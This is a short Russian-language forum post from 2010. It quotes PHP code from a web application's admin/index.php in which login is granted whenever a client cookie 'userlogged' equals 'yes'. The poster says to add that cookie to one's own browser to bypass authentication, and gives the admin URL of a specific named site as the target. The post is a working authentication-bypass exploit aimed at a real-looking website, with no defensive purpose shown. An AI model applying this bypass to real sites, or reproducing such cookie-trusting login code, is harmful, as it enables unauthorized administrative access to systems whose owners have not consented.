Показать сообщение отдельно

  #4  
Старый 14.06.2010, 12:12
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами: 9347610

Репутация: 165
По умолчанию

Ov3rLo1d[-]Invisible
http://wowjp.net/forum/61-15808-1

/admin/index.php
PHP код:
...

if (!isset(
$HTTP_POST_VARS["submitloginform"]) && (($HTTP_COOKIE_VARS['userlogged'] == "yes") || ($_SESSION['sessionlogin'] == "yes"))) {

/* Sets $PHPSESSID to the PHPSESSID in the cookie */
$PHPSESSID $HTTP_COOKIE_VARS['userid'];

/* Set $mode to the thingy on the url */
$mode $HTTP_GET_VARS['mode'];

/* Removes the cookie before anything is displayed */
if ($mode == "logout") {
    
session_destroy();
    
setcookie("userlogged"""time()-600);
    
setcookie("userid"""time()-600);
}

... 
Добавляем себе в куки userlogged = yes
Код:
http://shadow-server.ru/admin/

Последний раз редактировалось SeNaP; 14.06.2010 в 22:42..
 
Ответить с цитированием